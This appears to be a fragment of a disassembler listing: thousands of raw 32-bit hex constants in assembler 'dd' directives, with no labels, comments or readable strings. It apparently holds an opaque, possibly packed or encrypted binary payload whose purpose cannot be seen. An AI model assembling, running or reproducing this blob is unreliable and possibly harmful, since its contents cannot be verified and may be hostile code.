		dd 3BD29BE9h, 96585E34h, 0CE1B644h, 757B4648h, 1806FF4h
		dd 0FC2FADAh, 3F995621h, 5B8ACBA5h, 8B924E92h, 6EE7B9A2h
		dd 0E3143303h, 52063A31h, 83FA2C3Fh, 0D5F70D02h, 902A88E9h
		dd 0A1195851h, 4E104C4Fh, 5590DEF7h, 866FFB00h,	0E9F10948h
		dd 3C37679Eh, 91B06354h, 8E6CBF31h, 7AE87CC9h, 104C6F01h
		dd 480C448Ah, 0F65994BEh, 48028B20h, 0E868F835h, 0E7878442h
		dd 0D307590h, 81430113h, 142806F1h, 2BE9D822h, 0FE2091Dh
		dd 428D4A4Dh, 6C405021h, 0BFD105h, 0EF81D7BCh, 7BB868B0h
		dd 0B2070590h, 1332337h, 8041C6Dh, 70EA840Ch, 7B2E9056h
		dd 9043EA7Bh, 386E125h,	24E3B1E9h, 0E8C14000h, 2EA13503h
		dd 25300081h, 6EF7087Bh, 7A60ABE9h, 5693D38Fh, 9EE65189h
		dd 9844CA49h, 146D0615h, 73C9895Ch, 0EC50E57Fh,	0D424E90Fh
		dd 2ACF2AE2h, 8998CA06h, 24B46810h, 89AFB41h, 0AD229382h
		dd 0DED35DA3h, 49FA2C60h, 322205Eh, 128CB850h, 187B6D68h
		dd 52AE1A3Bh, 0BC084189h, 5CC4AA71h, 0B324D2FEh, 19094C93h
		dd 0C39620E5h, 0F4DD8845h, 2A8360D0h, 1D3FBC68h, 7C823458h
		dd 406DCF49h, 601E36A7h, 0A5C86396h, 725413ECh,	809868B2h
		dd 7DC08C6Eh, 0F248C4CEh, 1F6EC63h, 8222C930h, 2462E2E9h
		dd 0FBC9D390h, 2727AF5Ah, 0EF675BDFh, 8B47A769h, 3924B3FAh
		dd 0E00A501Dh, 1A883605h, 0FFB9011Bh, 223CA25Fh, 10C61339h
		dd 1DECF711h, 0E047550Dh, 237C112h, 49DFBAD3h, 520966CAh
		dd 0D608E289h, 8029282Eh, 15CA0106h, 0D6145CE9h, 6CE1B39Bh
		dd 214A8CDBh, 8514FD8h,	0C181E189h, 0F80C8346h,	247432FFh
		dd 0BE444D36h, 2AB8EF07h, 49B538E6h, 9329D155h,	1B6D6320h
		dd 2D7B0DCCh, 0C4961829h, 7A105C8h, 9BD64159h, 0BD11C548h
		dd 1F270958h, 0C7FD8A6Eh, 6400E09h, 8803FF6Bh, 14533CBh
		dd 0D1BA5201h, 0F013697Fh, 77FAFEF2h, 0CA000F76h, 170A2358h
		dd 0C053F7E9h, 0E2222D94h, 109881Ah, 18758C5h, 9274E986h
		dd 348EF1A2h, 84103A1Bh, 4019C974h, 0B5C5F67h, 0CFF2E48h
		dd 273393E9h, 0BF60930Ch, 0AC65AD4Ch, 46C7EB83h, 50A1BD9h
		dd 5358540Ch, 52D636BBh, 0FD152920h, 7098440h, 48117E88h
		dd 840A0CFh, 0D329359h,	2008D366h, 0CF40A9A3h, 0D7F50581h
		dd 8041B978h, 7248E41Fh, 0E5C1020Ah, 0C803B808h, 0C8442513h
		dd 58105EFh, 6F610BCFh,	5364906Dh, 427D240Eh, 5C2DF700h
		dd 0FD31E1A1h, 0A835B05Fh, 2A685B1Dh, 0A3F728A8h, 7C64C121h
		dd 121BFF58h, 1725231h,	34E9C882h, 0BB18501Ch, 672C7D23h
		dd 6A077806h, 0A69C7E6Eh, 5EE91203h, 875D228Eh,	131CEF40h
		dd 7BFB0082h, 904D5810h, 513E0C7Fh, 690C6E25h, 4903F501h
		dd 685AD629h, 0CA516AF9h, 2D00FA5Eh, 0C40F350Fh, 86E82943h
		dd 0A8692146h, 0A68F5F73h, 0E9521BD8h, 0F8A93B5Bh, 90FDBDCEh
		dd 0A94C8456h, 4D51457Bh, 6D4A0C6h, 8BEA2909h, 8714382Ch
		dd 80CA9A14h, 0E98B54E8h, 1240114Dh, 7CBC21A4h,	40F3001Ah
		dd 0C15C6457h, 0FC9804EBh, 5E95E914h, 0AC598860h, 3DFD08FEh
		dd 333ABA00h, 904279C2h
		dd 1FEB1D65h, 1D06E49Ch, 3EF82A1h, 0FF80D7F7h, 9B16C3E7h
		dd 0CAF87A76h, 3B093AEEh, 805FF821h, 0FC147D30h, 0C831004Fh
		dd 674A0559h, 2500078Ch, 16411ADFh, 5AC6F2Dh, 62E9B2DCh
		dd 599905D8h, 0BAA60451h, 218A410h, 56649h, 0F8284FB7h
		dd 0C7F29FE9h, 3760430h, 61A72CF0h, 22148BD3h, 0D8281FC6h
		dd 0E7937D1Fh, 0AE0EE824h, 0E6669E57h, 46D3D115h, 0DA4F49E5h
		dd 0D068C412h, 206B8C27h, 56E82E33h, 0E91609A2h, 8741F0FFh
		dd 68585AD1h, 4DB05CC5h, 15E0BA9Ah, 0E9795706h,	594775EDh
		dd 31926AC7h, 16FAA210h, 4A4786BEh, 5942048Bh, 0D601685h
		dd 2689F729h, 5835FFEh,	8035494Eh, 3C1BC101h, 12EA972h
		dd 8205AF1h, 0C02A4ED5h, 2959CB89h, 32384A5Ah, 478A568Ah
		dd 725F83CEh, 0DEC24E78h, 54E37841h, 3B25D6CDh,	555D32F6h
		dd 0D27052CDh, 80653E15h, 49F07B5Dh, 19EA33E9h,	8EB15A16h
		dd 82E4285Bh, 680CD25Ch, 0A661EA68h, 499DF0D7h,	0C70D1E79h
		dd 20303302h, 6FC013B6h, 0C27978F1h, 0CF915C55h, 1AC13112h
		dd 0BA050853h, 0DDBB9070h, 3E64CC68h, 5813453Ch, 5935A47Eh
		dd 8328E83Eh, 6F7B58EBh, 0B4CBB074h, 0C04EEC78h, 6D59EA18h
		dd 0E9185625h, 44287F0h, 8CEF9449h, 281473B5h, 0F959CE38h
		dd 0E5674C32h, 9A2B0F2Ch, 0B0294AA4h, 1F5914B8h, 8B1C2327h
		dd 2210C083h, 0F052215Ch, 0C009C0EAh, 0F7FA850Fh, 6ED8C72Ch
		dd 27C20168h, 483CE95Dh, 9AC50964h, 7C20E8A0h, 31CC7FB6h
		dd 0D11EF71Fh, 648570E6h, 68B4541Eh, 0C201D6D6h, 0E9FC5E77h
		dd 93EBB521h, 6CE4B7FDh, 505384D0h, 0FB83166h, 231624E2h
		dd 20984C90h, 0FE013F72h, 6900B0A7h, 0C8AF0F66h, 0FAA051E8h
		dd 4CBACC47h, 6435F849h, 67E4756Eh, 0BF864061h,	0FA849EB1h
		dd 80C8525Fh, 0DA868A5Ah, 5B492207h, 12513D71h,	5E984043h
		dd 121D61A5h, 7007E8C1h, 0D0003B5h, 277642F8h, 711C0548h
		dd 89ED1887h, 80C032C3h, 0FE616681h, 58992D22h,	0B30B6054h
		dd 1420E394h, 2ACF6810h, 7F5D267Eh, 4D02400Ch, 12C6750h
		dd 0EB13B1FBh, 4BF12D50h, 1A5EB076h, 6F506D68h,	52668283h
		dd 3EE2BA90h, 1F789ECAh, 2F6859C0h, 837DC638h, 0E54C3F3Fh
		dd 653C042Fh, 0FEC008BEh, 0A4F724Dh, 6E04E945h,	353EBC69h
		dd 0E5461067h, 0A12C9765h, 60160F97h, 0B7A8ADEEh, 5160ABBh
		dd 400848CAh, 0CE290C45h, 64447E84h, 61315540h,	0AA0E38E0h
		dd 0B218A0AAh, 0F9B450D8h, 0A3F47DF8h, 0D6C2C5A4h, 1A660A89h
		dd 1D605F31h, 5B753304h, 0CF80D1A1h, 0D090EC76h, 4AD65752h
		dd 6F636406h, 0B38A6385h, 1C37335Ah, 1A6B0631h,	68AD071Ah
		dd 5BCC0C25h, 45B00C50h, 686F01B3h, 7B18D32Eh, 8007B160h
		dd 662301E1h, 0E9B3B753h, 4B91284Fh, 0FC0D8B36h, 29A3C47Eh
		dd 0FD41C3D7h, 2C7715A9h, 895A0B2Bh, 0D96F8h, 6208C705h
		dd 2DF80125h, 0E1E907A1h, 96467209h, 0F2683523h, 20D9EC6Ah
		dd 0E9185A43h, 850B2F75h, 81AEC0CAh, 8833E2C3h,	2872EDE5h
		dd 9E59248Bh, 28404848h, 0B305AD0h, 0C0B60FC3h,	5FE9DBA3h
		dd 66684D09h, 9A089B71h, 3DBE41E2h, 0B0EB8000h,	514CADA1h
		dd 420ADCh, 72C6FE5Bh, 32E67B80h, 0BD16063Eh, 9EF46A64h
		dd 0D1E97248h, 685105F3h, 1F8C6253h, 8818D481h,	1F761D3h
		dd 81EC20C1h, 2554F40h,	881D6B68h, 5F785D26h, 5038B620h
		dd 4C53C530h, 10F3786h,	0E7E6D6F6h, 584C1E65h, 0EED52632h
		dd 8F01E7A0h, 297D6936h, 32305BD8h, 34353C02h, 5511A501h
		dd 486AA6E9h, 1A12F7D8h, 5F877554h, 0B357AE2h, 0D0067F2Fh
		dd 0BB005ACBh, 750257DDh, 1CEFE381h, 965EF747h,	9B5002D3h
		dd 4161A5A4h, 77D2CBBh,	4E6C146h, 74E4C894h, 12E0EF3h
		dd 167656D7h, 172901F1h, 0F3E43660h, 0C74C507Fh, 582920A3h
		dd 3817DD41h, 0B78450DDh, 0E681F48h, 0C2FE95B4h, 77D25752h
		dd 0B920B891h, 691834Dh, 0EF5C6705h, 0FCF5AE4h,	27B766B0h
		dd 28C99605h, 0AAC82824h, 0E7C09F00h, 70C78006h, 5BF816E0h
		dd 847B6459h, 52FAC56Eh, 0EDBE8DBCh, 0D24F8C15h, 8A0C612Ch
		dd 0D2B9B40Bh, 6134042Ch, 0FA51C744h, 3E815A0Bh, 8847EBA0h
		dd 14CF4C76h, 80DF80BEh, 635D2308h, 0ABC3F301h,	0E5934E9h
		dd 0C6CB020h, 0B31901D3h, 0DAD83050h, 706806E8h, 8496764Dh
		dd 0BB4377B2h, 29A2C5CEh, 7DD04562h, 7090564h, 2EE22F81h
		dd 2AC75328h, 0B962C07Ah, 6C1D0CD1h, 7C6B316Eh,	8410DEA4h
		dd 42015C2Ch, 151D1C2h,	1A1ACC24h, 0ABE36123h, 6515E769h
		dd 28D480C8h, 6A4C5B59h, 8696E6E6h, 0E97C0269h,	78ADEBF1h
		dd 72D43439h, 701481F7h, 0B24F2030h, 58B6D749h,	445948BEh
		dd 220EB2Fh, 535C4B87h,	6C2A0235h, 0BFD8C480h, 112A60E7h
		dd 5E165BD2h, 508C4632h, 6850074Dh, 0CBC07613h,	5015745h
		dd 0AE3F8A19h, 716B742h, 74B640B1h, 0BEF6CE30h,	0F7614762h
		dd 0D392A21Ch, 9C0EECC7h, 70103EE6h, 290D000Ah,	556E573h
		dd 197500FAh, 69E92D61h, 12670EBh, 43BC0C6h, 0EC835A8h
		dd 80FE2B86h, 0D2335E08h, 56E7126Ch, 56D0022h, 7EFBBC2Dh
		dd 0C781BF01h, 56542A80h, 841CA69h, 70F4CE42h, 2D38E76Ah
		dd 9AE953A0h, 9B256F4Fh, 59070A59h, 0E90715B1h,	0F7F32421h
		dd 134FD73Ch, 6340DA6Dh, 199A3ED5h, 625C6A31h, 9B24E3h
		dd 369235B1h, 0CD6045E9h, 0EE815F2Ch, 0D4D04E1h, 0C2F08942h
		dd 0DED84770h, 96082D58h, 5A9DCB80h, 0E96D1A35h, 490941B4h
		dd 0BA053B6Ah, 8E52C1B5h, 6976D56h, 6BA958C7h, 6333FCC9h
		dd 8EEF1D59h, 0C156D3D0h, 0F302E73Ch, 5958F10Ch, 3E2C1E03h
		dd 0E9131008h, 2DC88596h, 7BEAD8AAh, 66ECDC2Ch,	0D420DA16h
		dd 73192ACDh, 0E5C11E23h, 0ACED4004h, 1EF719Bh,	955DEE24h
		dd 5D30524Dh, 9F7605DDh, 90B0E94Dh, 2F47BFCBh, 936DC42Eh
		dd 0C8C2F816h, 416642ACh, 9630F199h, 0F9880749h, 3AB045Bh
		dd 66A12CC8h, 280CE059h, 523B3A98h, 0F6E908B6h,	0E801097Ch
		dd 2D13ED65h, 0E4A99037h, 49E7E662h, 5EC3FC56h,	13135568h
		dd 0B7C2FBE9h, 0CEAF8856h, 0E142C0A6h, 523066CAh, 5660395Ah
		dd 157570A2h, 5EEC102h,	6449A1E9h, 0C0B43809h, 4DF4E32Eh
		dd 9614C960h, 20C01C77h, 3A076A2Dh, 1FF02ACCh, 0C9C8CF32h
		dd 994E3B04h, 0A5F0303Eh, 0B90E8089h, 5FDF026Fh, 59334D15h
		dd 5F724869h, 9E970B4Ch, 0AE680BFEh, 71781A34h,	1B77402Eh
		dd 12F76AEh, 95C9A44h, 0C535410Ch, 0B0337E79h, 6B87B406h
		dd 0E9A4988Eh, 75D3A860h, 812BAB60h, 3073EFC1h,	980C1F21h
		dd 107C1E60h, 50004498h, 0CA319A4Dh, 0EEC02D59h, 68F5FF0Ah
		dd 0EC414275h, 60680B08h, 33430AA5h, 443112CCh,	0E71ACB8Eh
		dd 84607BF3h, 5EF2014Bh, 16C27E83h, 346EF168h, 49288943h
		dd 236C1B3h, 0E231C109h, 517120h, 569FD43h, 397656C3h
		dd 9A132D07h, 80E9A373h, 18167BC9h, 1E587D32h, 0FAA42703h
		dd 0E1FE54B3h, 9BF9D0B5h, 75BC125h, 8904D329h, 0A61D0F12h
		dd 0A1413B00h, 98F90168h, 420B0243h, 58E90945h,	0DFC74D8h
		dd 112C3E13h, 0E5E74800h, 0F86A5A7Ah, 713354C2h, 13C4C055h
		dd 0E912C70Eh, 9A764E25h, 0A4576543h, 0A4AA29E6h, 0D8C88DDh
		dd 509BD00h, 2E683B5Ch,	600651B4h, 0C86B01BFh, 6C8E3360h
		dd 0E51647Fh, 0EFD1DFF7h, 27DEB9A0h, 26902098h,	0CA8901F5h
		dd 560ED432h, 8AD61568h
		dd 575E028Ah, 48EE77E9h, 79A1C62Bh, 0F4267632h,	521D136Fh
		dd 3B57CB6Dh, 90562FC6h, 0B44DA51Ah, 6B83E787h,	0D15C96E9h
		dd 9B92D34h, 52150DE9h,	13AD22F6h, 2535C65Ah, 0A0083832h
		dd 5756AD88h, 409E0F68h, 76A9220Ah, 0EC5C86E1h,	669C24D6h
		dd 0D8A9BE43h, 54E97AB4h, 1BFCDE7h, 4E476D83h, 0CD5FFB29h
		dd 0E23A31F3h, 0C8648A41h, 77DF54D6h, 0B3045A53h, 8011EC77h
		dd 80102D96h, 6C4976B0h, 52586847h, 8B004543h, 94E2736h
		dd 64FE9F3h, 7DD7F10h, 0AC7372Ch, 26EB68BEh, 0C53B24D3h
		dd 0E3B32557h, 7A345A55h, 285F8AA3h, 7B41CE44h,	3DD69F20h
		dd 1413ECD0h, 62FB8C02h, 3116FBB4h, 68EB3BC0h, 553C3F4Ah
		dd 8BDC6E24h, 7A00F680h, 2C5A66F0h, 0F83A7E70h,	59267604h
		dd 9713575Bh, 28E75F04h, 55DD8956h, 0B7EA8388h,	878825C7h
		dd 309671C3h, 0C0516CF8h, 0C0FED0F6h, 7482762Ch, 0E9010AD8h
		dd 89B47910h, 6689A8B3h, 87838524h, 52C982AFh, 20DBF1ADh
		dd 5F32F94Eh, 94F4DE51h, 0D83024E1h, 14C15A6Ch,	0A7C86847h
		dd 21901DC4h, 3D58E8BBh, 0B2272AE4h, 6968EF83h,	0F5A836FDh
		dd 1D80E91Ah, 13565217h, 335ABF68h, 81C85121h, 55267034h
		dd 0DC035659h, 0EBFBA3F4h, 0EA122E5Ah, 0F2E04F7Ah, 1C180CBAh
		dd 331A18C0h, 1F0145D4h, 0A8525AD5h, 1F2DB07Dh,	3B0A2415h
		dd 4156C503h, 2A682604h, 1C34081Ch, 0CC131413h,	1BB1A8Ch
		dd 4B9B2305h, 0CD5BD901h, 0BA0A0D1h, 4957CB2h, 0A31206C7h
		dd 59CD1F4Ah, 1082D84Ch, 20B3B021h, 6096127Ah, 5294F301h
		dd 37205491h, 0FC5800FAh, 0E9D92106h, 0ACA807FEh, 0DD4851D2h
		dd 401825E1h, 61DAF748h, 7CF5C887h, 0BC36FD09h,	2CFD09D4h
		dd 19C3844Bh, 38BC0712h, 14DB306h, 8EB7428h, 0C568DBB1h
		dd 30370709h, 486523DBh, 0F11E5F9Fh, 6204AE8Bh,	0ED93156h
		dd 50106885h, 0AC091E5Eh, 0B6292274h, 246F6520h, 0A45E649Dh
		dd 0E801C1B7h, 68C83118h, 2B73297Fh, 0F712A149h, 6E7B0CD7h
		dd 0F4CF059h, 569A3Dh, 0EE5EA47Ah, 82017612h, 0B880800h
		dd 9695585Bh, 0C17F2065h, 0FE202E97h, 5D16079Fh, 0C4FE65C0h
		dd 83EC3E80h, 0D00A2912h, 0A252C098h, 0CB581D3Bh, 0E7127B12h
		dd 28C00485h, 955F5457h, 34DF83B1h, 2AB35B59h, 331017A6h
		dd 0D063136h, 993E5C5Dh, 5512020Ch, 85DA391h, 0BD3554E9h
		dd 80439089h, 3F031381h, 61190579h, 20C2851Ah, 6817EFA2h
		dd 691A4631h, 369D4C1Bh, 5DCAF110h, 0F2A8DBF0h,	0D84F31ADh
		dd 401B162Ch, 530E5BDDh, 4380EFB7h, 0CFFC0859h,	6ED0C69h
		dd 2BE92492h, 3B6A5021h, 0E391FAA6h, 7D389643h,	89E556F5h
		dd 5205234Ch, 0C04FE06Ch, 82059B70h, 0F1001776h, 76944ADEh
		dd 0A53F01E9h, 0C839A20h, 8FD48172h, 6B4077ECh,	49101BEh
		dd 0A9681971h, 0C0343C41h, 1EEC2896h, 13547801h, 80F4E908h
		dd 3569B8A7h, 933B3C13h, 0BD6C5DA1h, 39582500h,	0AD057509h
		dd 46036F01h, 0DB5C5D35h, 130B58A6h, 0E9F2CC50h, 48EE254Dh
		dd 27ED132Ah, 5EC9AA35h, 4B62FA82h, 18C35FAAh, 1E082AC7h
		dd 9711125Dh, 5202E4FFh, 65ED7ACDh, 0EC0B9175h,	0E9C09C4Bh
		dd 7D50DF20h, 680612C1h, 25F721B9h, 858D0257h, 81A050AAh
		dd 0BDFE40D1h, 2B4CE804h, 0C6D0F75Ah, 903F1BF8h, 3BC669B6h
		dd 0E168E1A1h, 0C8364Eh, 21D615B1h, 0C413A2E9h,	8002EA7Fh
		dd 767D2764h, 0B30C1A60h, 8007E209h, 602C8E6Eh,	4D8412DFh
		dd 0DBF13DE9h, 0CAF3032Ah, 21B31A69h, 5817A5DCh, 0D90035CAh
		dd 5586B48h, 1E94D6A8h,	9C289AAh, 5B0277FFh, 53917672h
		dd 7FC3ECEBh, 4BD4348h,	7249AA05h, 25E9FDE4h, 7FE860E5h
		dd 6D095AC7h, 0D801222Eh, 4C0883AEh, 0C82A4B8Dh, 25F49ADCh
		dd 0F5651C87h, 62E0E986h, 0F72D0559h, 8213754Ah, 330416E7h
		dd 0FFC4A6BCh, 0BF034404h, 0DC9F0013h, 8139B821h, 4FA4E207h
		dd 0CA606C91h, 0A09C0A30h, 210F2B4h, 4238A319h,	0A40D2F7h
		dd 3F7212AAh, 0E9D58906h, 702553h, 0B565162Dh, 5D80172h
		dd 315B07A0h, 0AAE9C313h, 0EEDDFEA1h, 91382ADDh, 2F2813Bh
		dd 1669F4Ah, 43E15EF0h,	0A55C7D02h, 1CE3FA94h, 2E565650h
		dd 857A8DE9h, 0A0F1F65Ch, 1ACCCC7Ah, 5817D8Fh, 0B56F78CEh
		dd 6B9B8253h, 1C20C852h, 0CFFE020Fh, 0E7C0DFF6h, 6CAE9F60h
		dd 0B5B34082h, 2E57817Ch, 0DAFDB929h, 5036628h,	1CD95A2Ah
		dd 93739CA8h, 827555h, 0BB3A809Eh, 0BE565102h, 0E0E20153h
		dd 1EF6EA58h, 5A0DCB15h, 80228F2h, 0DE4FAE9h, 841E930Bh
		dd 0EF48063Bh, 4646946Ch, 3A9DC1D1h, 87061075h,	97A4A40Ch
		dd 88E2908h, 33122942h,	0E62956C9h, 3B04A7Fh, 5EF101DCh
		dd 8959CA99h, 22F42A0h,	4890E9E3h, 3C34B1E2h, 4397CB28h
		dd 0E37B3023h, 0D22C0794h, 0F100D578h, 1CA2C51h, 0E2E927DAh
		dd 7289C5CAh, 0F54B3258h, 0B6CB2416h, 4CABC300h, 30FF18DBh
		dd 0BD9DE918h, 48F7B240h, 0C014F888h, 511B88EDh, 0CA053563h
		dd 346B4947h, 444282h, 0F71899BDh, 0A832647Ah, 0D4E887F6h
		dd 9790A268h, 0E3B57433h, 0E9A898FBh, 501D40C1h, 4D67B800h
		dd 0F7487CB0h, 4189FCD0h, 6CC520DEh, 795E4A1Dh,	1041C981h
		dd 5C603F6Bh, 7BAE0FFDh, 1B351E2h, 7F173BF4h, 10C3776Dh
		dd 31132692h, 40EAA17Ch, 3851F220h, 0E93D680Bh,	0B0C150C9h
		dd 115A8442h, 5102BD55h, 11566120h, 113E202Ch, 272E5AD6h
		dd 10C8DEC6h, 56EA6804h, 0E4F43CA8h, 0A1D60D79h, 408AFD00h
		dd 0ED01781Ah, 804F421h, 0C0DC0FC1h, 8578C804h,	0A57A554Ch
		dd 93DBA04h, 888DB101h,	7B3441CEh, 5B54013Bh, 12296530h
		dd 7307E63h, 409CDB4Eh,	5AD301CFh, 538C999Fh, 0E9FA8343h
		dd 0EBE90298h, 0A4114530h, 0A5517961h, 0B2AD3DF2h, 4AB52340h
		dd 5B39DDE0h, 9C34FC28h, 0F4052541h, 71D919FDh,	0B63DB260h
		dd 0B6256F27h, 0ABED9775h, 3EC0A1A2h, 0C14A6656h, 9ABB1D4Ch
		dd 487C9140h, 0F188929Bh, 34D6807Ah, 50396A12h,	0B4BB0053h
		dd 897B5161h, 400B5BD8h, 0E6C182E9h, 0A41DEE72h, 0D466317Ch
		dd 0FC5D5E4Dh, 0F6F602E6h, 0D88087A9h, 0C8F9FE44h, 0E13FC0C9h
		dd 0B1FBAE06h, 0BA5D548Bh, 0F1C3A2B0h, 0F8BA012Ch, 201AED55h
		dd 0D00B18Fh, 9EBB0779h, 984B1B0Ah, 52309C8Fh, 63E9E021h
		dd 700324Fh, 0E8F93A98h, 243B19B3h, 2460F727h, 126BACBFh
		dd 4433F1DCh, 0D3CEE381h, 28F5CA97h, 493F7B2h, 1E644A09h
		dd 663C98A7h, 8A5B1D3h,	5817BB5Eh, 0CA4AA02Bh, 12E90C5Ah
		dd 0FBE1022h, 772A4FC0h, 1D0CB345h, 4FBDD27Eh, 4BAB5F93h
		dd 96BB5940h, 65564109h, 38440929h, 0C0E81010h,	0E7805A26h
		dd 0C759FEF0h, 2F075F66h, 0D49E2877h, 0B802C8B7h, 0F94F827h
		dd 1FE95209h, 81BED378h, 915F8FBDh, 9FBF204Dh, 6E236313h
		dd 0C394501h, 43204B4Ah, 0B82E0230h, 5BDA3135h,	7776C9E2h
		dd 0ED46069h, 0E957097Ch, 0AE96231Dh, 0B7386CD3h, 273B9664h
		dd 6B55A319h, 0CD891330h, 6F092BE9h, 0E534B72Bh, 1FBBC58h
		dd 0C6B408B3h, 98ECDC28h, 28A6B7F9h, 81EC33C8h,	6EDE607h
		dd 31C4396Ch, 0FB50BFACh, 5A57022Ch, 50BB6866h,	9A5C1FAh
		dd 99E95184h, 701CED5h,	721B2E70h, 9D050BECh, 0C116919Ch
		dd 0F0107E1h, 62D65126h, 0D3F4D3FFh, 0C82998DBh, 28009359h
		dd 1E664CA4h, 0B8ECFE85h, 0B482D07Dh, 4580B9C5h, 764D47B6h
		dd 5CFF4D42h, 80168326h
		dd 98468925h, 0E048D106h, 9C7B25B4h, 6FB24C19h,	0B6CCE42Ah
		dd 0A67F6FB2h, 2093A0E3h, 34D471CFh, 78A5504Ah,	0E0B8C140h
		dd 97B50F43h, 2F89C231h, 8E58B4E2h, 0FA4B7F98h,	6AB0E0D0h
		dd 1E764851h, 18F58A1Ah, 0DE98E552h, 132240A0h,	8167FB00h
		dd 3649A3EBh, 1F49B844h, 2037258Dh, 0C158DF14h,	180F76B3h
		dd 80D53AA6h, 79509FEFh, 0DF012667h, 5A082023h,	4B76455Bh
		dd 7F889A68h, 0D3E0133h, 5B38E9D8h, 7FD4FE9Dh, 402DD217h
		dd 530D9D43h, 0ED048156h, 7D723226h, 0AC5096A8h, 12EAFE14h
		dd 4080E97Fh, 5EF3014Bh, 8BBBBF57h, 23404E0Fh, 0AD36E944h
		dd 63F8F192h, 3C02EB1Bh, 0BE66C727h, 27D1B742h,	3A5C18ACh
		dd 4FAF627h, 144A284h, 0AF2E99F2h, 20741CF7h, 5E3B1CCAh
		dd 0FF08A8C1h, 206AF307h, 9B3161h, 352BF10Fh, 0F21676C7h
		dd 0B67A18C0h, 0F7CCA77h, 0A4C1B378h, 4C064219h, 0BD7B0C81h
		dd 0B9015956h, 2DC887CCh, 20240F10h, 0B8BCF4C1h, 0CD7F536Fh
		dd 28AD2135h, 0DE66262Fh, 1841CFAAh, 185BF2BEh,	5104189Ah
		dd 0DB0A4982h, 0DBDEA34h, 283936B5h, 5C9343C1h,	46D2DDA3h
		dd 14509480h, 0E9EE6E9Bh, 7A08A032h, 54B7C221h,	0A10D40DAh
		dd 62091C65h, 7BFE57E9h, 0B268051Eh, 25A1A219h,	30B12B59h
		dd 0A4E1F705h, 244E9ABEh, 13EF555Fh, 0B02627D9h, 132F61Ah
		dd 5BFFD048h, 165FA18Bh, 75401A59h, 0C758C244h,	0BBDD9601h
		dd 108B983Dh, 0EFC1DAE0h, 0F71C087Eh, 0BBB9021Dh, 75394D57h
		dd 85D2295Eh, 0A9614038h, 5F1D755Dh, 59EB9201h,	20CA688h
		dd 4D6F6855h, 0DA602856h, 28460A4Bh, 388C8150h,	30244E3Ch
		dd 7F51423h, 0C26D015Fh, 60104A6Eh, 119517C7h, 0D3D05C32h
		dd 9D26BF7h, 475D8640h,	364E13Bh, 0F9323CF3h, 0A1D781Eh
		dd 0EC74247Dh, 0D6A727E2h, 0D1C3E4E9h, 70E58968h, 3F01AB5Fh
		dd 0FD0D04F9h, 2DC86847h, 0EF7F7AFBh, 0B3BF126Fh, 0ADE91E14h
		dd 0F58EA16Eh, 2E80989h, 0EDF625Eh, 0C858E304h,	574E39D9h
		dd 6D444D8Dh, 0F9A5F604h, 2847DAE4h, 86A050h, 0A2042DF2h
		dd 0E9DAF77Fh, 0A054B127h, 2966EBF8h, 5692A04Bh, 61C53036h
		dd 494AF60Ch, 9C5F1C26h, 25F3DF08h, 0ADD26226h,	3C7C8A3Ch
		dd 9388B202h, 992DE01h,	0AA510C21h, 0C0085D45h,	7668047Bh
		dd 3F8DB26Eh, 0F66F1450h, 333D0760h, 0A2B345B0h, 0C85D314Eh
		dd 502B91E6h, 0FE30F395h, 0B252CB0Eh, 8605179Fh, 3D8B1179h
		dd 23104049h, 0F50B5E40h, 0B5CD7064h, 76501012h, 1F609FFAh
		dd 69DAEE45h, 1791692h,	81611C6h, 0A25BDE17h, 0D72498F9h
		dd 0B40EE1Eh, 310FE943h, 0FF48A51Ah, 594C3526h,	0C4D62EF1h
		dd 84C6FE8Bh, 2AB258E4h, 1ED9F84h, 7190D66h, 7D5C2DD0h
		dd 1B7C69E3h, 294F520h,	0F7252321h, 0C7D2E8D7h,	8666161Bh
		dd 6913B1C3h, 5B1A7CEFh, 710C3702h, 49992130h, 7FC740C0h
		dd 9E63D926h, 0E1BAB900h, 73F189EDh, 59CE025Eh,	2EE9F229h
		dd 0FE3B4078h, 8F4ADC5h, 0BEE02A1Fh, 98AC3F7Bh,	74E6050Eh
		dd 0AC715F6Dh, 30CE02B0h, 0FE668A10h, 45F60983h, 0E91AB578h
		dd 5C52FC93h, 6DD9E9BDh, 0C2AF8DACh, 34C28104h,	8E24D066h
		dd 5399C11h, 337E3668h,	3DC951C9h, 0E90BC82Fh, 0CF5A8AA2h
		dd 31715509h, 168F8722h, 82493AC2h, 0F4A9E9A0h,	0B531283h
		dd 922033D1h, 403A05D0h, 5A6F731Eh, 9CAD81Fh, 790915F7h
		dd 93D4F965h, 0DA12F60Ch, 5292569Ch, 0E9737AEEh, 5E1E9A92h
		dd 0D716D129h, 8709B253h, 0F1A50051h, 0B75F3265h, 75E9DD87h
		dd 0BC325430h, 316C6A13h, 269F68F6h, 2CDB495Ah,	0CC00D75Bh
		dd 0E9741227h, 22D34EC8h, 77E45814h, 0AD3DA930h, 12C0A0C3h
		dd 0B1016B4Ah, 95126229h, 84B90532h, 0B7F11145h, 0BF059814h
		dd 6C09D0Ah, 758D0ECAh,	49B013Ah, 0C3011110h, 61676A58h
		dd 2E97E991h, 4F0E342Fh, 0FFECF80Fh, 0E5ED54D7h, 17413AC9h
		dd 43AA0C03h, 0F5E3F9E9h, 29E0810h, 12FE4699h, 18B0129h
		dd 2DB36659h, 26C444BFh, 415FE823h, 42691856h, 3C4A82D0h
		dd 317A75Ch, 5DE3E207h,	0F73E09E0h, 52BB0DBh, 582A1CCEh
		dd 1134884Bh, 2043803h,	0DF5BD989h, 0BD83003Bh,	0E4E820C9h
		dd 0EDC10E45h, 0C6608106h, 89C84D91h, 215DEA1Bh, 0E5E1E1ACh
		dd 792C6DECh, 64C98F7h,	438A547Ch, 0B6B05421h, 0C635202h
		dd 4AD4E97Dh, 3EB874D9h, 6A2DC94Bh, 0AB686503h,	9DEB1318h
		dd 682AE2E4h, 514BB582h, 0C45C44F0h, 88CDB061h,	1041D748h
		dd 0AA4810A4h, 416C6A62h, 1076D20Fh, 8E546440h,	0ED828CBAh
		dd 0E925ACB0h, 0C5DB617Dh, 54A30847h, 589A3CE6h, 80500E24h
		dd 5A66D528h, 0DC1FC580h, 0AA8DDDF6h, 3A6C1CB3h, 0CE23D516h
		dd 2CBE6F83h, 622155F6h, 7513C0D0h, 0B2A6660Ch,	50A3A37Dh
		dd 4A57D55h, 1B60F84h, 903864DDh, 0F9C34D30h, 0B2E2A8C9h
		dd 30446CD9h, 58EF2BF5h, 5B775E6Fh, 33871B29h, 46499AFAh
		dd 5F993D89h, 0D35B6F2Eh, 830B36E1h, 0F87865BEh, 0C50B5E3Fh
		dd 8BF95720h, 3BE9168Ah, 0B85BE0h, 7C6664A3h, 4F5DFD05h
